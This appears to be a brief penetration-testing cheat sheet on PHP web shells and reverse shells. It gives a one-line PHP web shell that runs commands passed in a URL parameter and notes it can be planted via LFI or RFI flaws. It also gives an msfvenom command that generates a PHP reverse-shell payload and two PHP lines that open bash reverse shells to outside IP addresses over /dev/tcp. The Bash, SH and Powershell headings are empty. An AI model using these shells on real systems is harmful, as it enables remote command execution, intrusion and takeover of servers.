WebShell or Reverse shell

PHP Webshell

<?php echo system($_GET['cmd']); ?>

Usage:

http://example.com/shell.php?cmd=whoami

We can add this command using Vulnerability like LFI, or RFI.

PHP Reverse shell

msfvenom -p php/reverse_php LHOST=192.168.45.213 LPORT=443 -o shell.php

We can place below content in a file named as shell.php and then run it.

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
<?php passthru("/bin/bash -i >& /dev/tcp/192.168.45.166/80 0>&1"); ?>

Bash

SH

Powershell base64 encoded reverse shell

You can also use powercat.

convert to base64 using a script.

Last updated